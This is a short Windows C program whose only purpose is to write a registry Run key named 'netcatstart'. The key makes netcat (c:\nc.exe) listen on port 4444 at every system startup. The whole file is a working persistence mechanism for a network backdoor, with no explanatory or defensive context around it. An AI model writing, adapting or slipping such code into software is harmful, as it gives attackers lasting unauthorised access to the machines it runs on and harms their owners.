#include <windows.h>
int APIENTRY WinMain(HINSTANCE hInstance,
HINSTANCE hPrevInstance,
LPSTR lpCmdLine,
int nCmdShow)
{
// TODO: Place code here.
HKEY hKey;
char buffer[64]="c:\\nc.exe -lvp 4444";
RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0L,KEY_WRITE,
&hKey
) ;
RegSetValueEx(hKey,"netcatstart",0L,REG_SZ,(const unsigned char *)buffer,21);
RegCloseKey(hKey);
return 0;
}